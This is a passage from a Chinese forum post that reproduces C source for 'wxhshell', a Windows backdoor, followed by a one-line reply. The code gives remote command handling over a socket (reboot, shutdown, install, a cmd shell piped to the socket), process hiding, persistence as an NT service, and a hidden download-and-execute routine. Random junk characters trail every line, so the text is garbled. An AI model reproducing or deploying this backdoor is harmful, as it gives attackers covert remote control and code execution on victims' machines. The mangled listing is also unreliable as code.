  else DtX{0p<T3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !o7. L%S  
  } AUd}) UR  
  else { \>Q,AyL  
ZGBcy}U(k  
    switch(cmd[0]) { _=p|"~rN$  
  gqamGLK  
  // 帮助 :\XD.n-n  
  case '?': { 6y5~Kh6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UJ+JVj   
    break; p<NgT1"{  
  } q9>w3 <  
  // 安装 {w(N9Va,(  
  case 'i': { ^|2qD: ;  
    if(Install()) W*#/@/5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jLU)S)  
    else G{9y`;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {0~ p"%*  
    break; # jyAq$I0  
    } 6C=.8eP  
  // 卸载 nfEk,(:  
  case 'r': { xae7#d0  
    if(Uninstall()) T/nRc_I+^B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6{ Eh={:b  
    else 1U!CD-%(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5,3h'\ "!  
    break; h&P[9:LH  
    } N~_gT Jr~P  
  // 显示 wxhshell 所在路径 :8FH{sqR  
  case 'p': { z%z$'m  
    char svExeFile[MAX_PATH]; +xa2e?A%L  
    strcpy(svExeFile,"\n\r"); YrX{,YtiX  
      strcat(svExeFile,ExeFile); G5Nub9_*X  
        send(wsh,svExeFile,strlen(svExeFile),0); y+_U6rv[  
    break; 4ai3@f5  
    } G9TUU.T  
  // 重启  K!j2AP3  
  case 'b': { W&nVVV8s@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a7ty&[\  
    if(Boot(REBOOT)) v2^CBKZ+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >{[J+f{~|  
    else { ">7 bnOJ  
    closesocket(wsh); A.Njn(z?Lz  
    ExitThread(0); c s> W6  
    } G}g+2`  
    break; W0Vjs|/  
    } 78kk"9h'  
  // 关机 X|:O`b$G  
  case 'd': { C.|MA(7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L!5HE])<)  
    if(Boot(SHUTDOWN)) :\Dm=Q\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;%&@^;@k%  
    else { 4_eq@'9-q  
    closesocket(wsh); BR*U9K|W  
    ExitThread(0); G!uxpZ   
    } wS*UXF&f  
    break; bk|>a=o3  
    } I[/u5V_b'  
  // 获取shell H Zc;.jJ  
  case 's': { iD9GAe}x  
    CmdShell(wsh); _[V 6s#Wk3  
    closesocket(wsh); QCMF_;aNI  
    ExitThread(0); $t^`Pt*:u  
    break; '-et:Lv7  
  } ]#;JPO#*  
  // 退出 ;)*Drk*t,  
  case 'x': { juM?y'A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &j$k58mX  
    CloseIt(wsh); o{/D:B  
    break; y_w4ei  
    } l)zS}"F,  
  // 离开 on~rrSK  
  case 'q': { IcN|e4t^J+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N 6eY-`4y  
    closesocket(wsh); 2gi`^%#k]  
    WSACleanup(); FTn[$q  
    exit(1); t_3XqjuA  
    break; P<U{jkM\/  
        } FRr<K^M  
  } +aMPwTF:3  
  } 3j6$!89'  
z;LntQZp-  
  // 提示信息  I2b[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &WIPz\  
} !GO4cbdQ  
  } N?aU<-Tn  
#qzozQ4  
  return; ^K8Ey#T  
} .- w*&Hd7b  
e(b*T  
// shell模块句柄 VrHFM(RNe  
int CmdShell(SOCKET sock) Q%6*S!~  
{ 0YKG`W  
STARTUPINFO si; Q~`n%uYg\{  
ZeroMemory(&si,sizeof(si)); Oo,<zS=ICk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pp?J5HW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,JR7N_"I  
PROCESS_INFORMATION ProcessInfo; B<W{kEY  
char cmdline[]="cmd"; 2`x[y?Tn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6+>q1,<  
  return 0; Gk<h_1WWK  
} >zhbOkR9c  
tH$Z_(5  
// 自身启动模式 6HyQm?c>a  
int StartFromService(void) N=(rl#<  
{ 0@z78h=h  
typedef struct {epsiHK@tK  
{ 3AWg43L7  
  DWORD ExitStatus; &BP%~  
  DWORD PebBaseAddress; M!,WU[mP  
  DWORD AffinityMask;  {sbQf7)  
  DWORD BasePriority; V7.EDE2A3  
  ULONG UniqueProcessId; NcdOzx>  
  ULONG InheritedFromUniqueProcessId; mZmwCS8  
}   PROCESS_BASIC_INFORMATION; '/mwXvl  
'w DNP_  
PROCNTQSIP NtQueryInformationProcess; d+l@hgz~  
&<4Jyhm:o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V^"5cW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /Ue~W, |  
M Su_*&j9T  
  HANDLE             hProcess; R{/nlS5  
  PROCESS_BASIC_INFORMATION pbi; 3(X"IoNQ  
lbMb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4]B(2FR[8  
  if(NULL == hInst ) return 0; XB2[{XH,  
.(D-vkz'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $Z #  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w18kTa!4@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zbrDDkZ1  
0} uH  
  if (!NtQueryInformationProcess) return 0; Y*0mC"n}  
 ,_HVPE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -B'<*Y  
  if(!hProcess) return 0; |GLa `2q|  
y<MXd,eE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oQAD 3a  
|?g k%g  
  CloseHandle(hProcess); V|Smk;G  
oJEind>8O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JS} iNS'X  
if(hProcess==NULL) return 0; D >$9(  
jCkYzQUPz  
HMODULE hMod; THC34u]  
char procName[255]; R0vWj9nPh  
unsigned long cbNeeded; B\`4TU}kE  
4vF1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UH2fP G  
j8P=8w{  
  CloseHandle(hProcess); R!5j1hMN`  
r1f##  
if(strstr(procName,"services")) return 1; // 以服务启动 |4UW.dGHPo  
#A+ dj| b  
  return 0; // 注册表启动 g,*LP  
} @uApm~}  
"{Lp'+wNw  
// 主模块 Eu2@%2}P  
int StartWxhshell(LPSTR lpCmdLine) l!5fuB8  
{ [BWA$5D)Ny  
  SOCKET wsl; &c%;Lo  
BOOL val=TRUE; v25]}9/C  
  int port=0; w*n@_n={  
  struct sockaddr_in door; {wVj-w=<W  
[_q3 02  
  if(wscfg.ws_autoins) Install(); ,ir(~g+{g  
B*W)e$  
port=atoi(lpCmdLine); ye4 T2=  
%v5IR  
if(port<=0) port=wscfg.ws_port; HJ~0_n&  
rE)lt0mkv  
  WSADATA data; K?`Fpg (  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  Em?bV(  
`saDeur#X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D<% /:M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wb4+U;C^!'  
  door.sin_family = AF_INET; .'aW~WR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XnR9/t  
  door.sin_port = htons(port); /x\{cHAt8J  
 UDl[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,ELbm  
closesocket(wsl); \iVb;7r)9:  
return 1; vr/*z euA  
} O1[`2kj^HB  
;hzm&My  
  if(listen(wsl,2) == INVALID_SOCKET) { M<$a OW0  
closesocket(wsl); _[M*o0[@W  
return 1; Qu]F<H*Y|  
} ;&=c@>!xP#  
  Wxhshell(wsl); vuN!7*d+  
  WSACleanup(); :Aq==N_/2  
R<]f[  
return 0; U~H]w ,^  
.d/e?H:  
} ,%Sf,h?"^  
 vf}.)  
// 以NT服务方式启动 =r=?N\7I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NFsj ~6F#  
{ !Z(3dtUy  
DWORD   status = 0; L{&5Ets  
  DWORD   specificError = 0xfffffff; mQwP-s  
LlbRr.wL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4}&$s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D6z*J?3^#&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $1KvL8  
  serviceStatus.dwWin32ExitCode     = 0; cug=k  
  serviceStatus.dwServiceSpecificExitCode = 0; ey!QAEg"X1  
  serviceStatus.dwCheckPoint       = 0; I.'(n8*  
  serviceStatus.dwWaitHint       = 0; uPh/u!  
3FetyW l'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xWR<>Og.  
  if (hServiceStatusHandle==0) return; A-S!Z2m\  
 a>6@1liT  
status = GetLastError(); mLGbwm'K  
  if (status!=NO_ERROR) S1SsJo2\  
{ 5|:t$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L JW0UF|  
    serviceStatus.dwCheckPoint       = 0; s[2>r#M  
    serviceStatus.dwWaitHint       = 0; MbbKo-7F$  
    serviceStatus.dwWin32ExitCode     = status; ` b$u w  
    serviceStatus.dwServiceSpecificExitCode = specificError; h_*!cuH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cI #! Y  
    return; %0&c0vT  
  } u /6b.hDO  
^VL",Nt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?xX9o  
  serviceStatus.dwCheckPoint       = 0; nNj<!}HvV  
  serviceStatus.dwWaitHint       = 0; *gGL5<%T:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4C]>{osv  
} V;@kWE>3  
qE:/~Q0  
// 处理NT服务事件,比如:启动、停止 8r{:d i*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BU;o$"L  
{ xryXO(  
switch(fdwControl) y*oH"]D  
{ Ng,< 4;  
case SERVICE_CONTROL_STOP: qL;u59  
  serviceStatus.dwWin32ExitCode = 0; K (px-jY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LWX,u  
  serviceStatus.dwCheckPoint   = 0; HE BKRpt  
  serviceStatus.dwWaitHint     = 0; ~Y)h[  
  { Tup2;\y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?j:U<TY)  
  } (Vz\02,K  
  return; _@] uHp|  
case SERVICE_CONTROL_PAUSE: jXH?os%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; veq.48E]  
  break; SJ0IEPk  
case SERVICE_CONTROL_CONTINUE: G _1`NyI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hf('4^  
  break; |i~Ab!*8n  
case SERVICE_CONTROL_INTERROGATE: DuvI2Z WP]  
  break; (?W[#.=7  
}; q\uzmOh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \A%s" O/  
} 'O:QS)  
x )w6  
// 标准应用程序主函数 0YsBAfRG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nm}wdel"  
{ @hVF}ybp  
GeydVT-  
// 获取操作系统版本 .ey=gI!x0  
OsIsNt=GetOsVer(); U#U'iPy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^.?5!9U  
qPH=2k ,H  
  // 从命令行安装 DMXm$PU4V  
  if(strpbrk(lpCmdLine,"iI")) Install(); V7}3H2]^  
d(t$riFX}  
  // 下载执行文件 Rzj1D:?X@  
if(wscfg.ws_downexe) { oY(q(W0ze  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n`TXm g  
  WinExec(wscfg.ws_filenam,SW_HIDE); Pbo759q 1  
} aK+jpi4?  
IUZ@n0/T  
if(!OsIsNt) { K (!+l  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?7k%4~H t  
HideProc(); rEfo)jod  
StartWxhshell(lpCmdLine); ibj3i7G?  
} ]- +%]'  
else Ho!dtEs  
  if(StartFromService()) =" Sb>_  
  // 以服务方式启动 /9wmc2  
  StartServiceCtrlDispatcher(DispatchTable); 0Z,a3)jcc  
else 7Z7e}| \W  
  // 普通方式启动 .$~zxd#zo  
  StartWxhshell(lpCmdLine); jM07&o]D  
dd> qy  
return 0; Li2-G  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八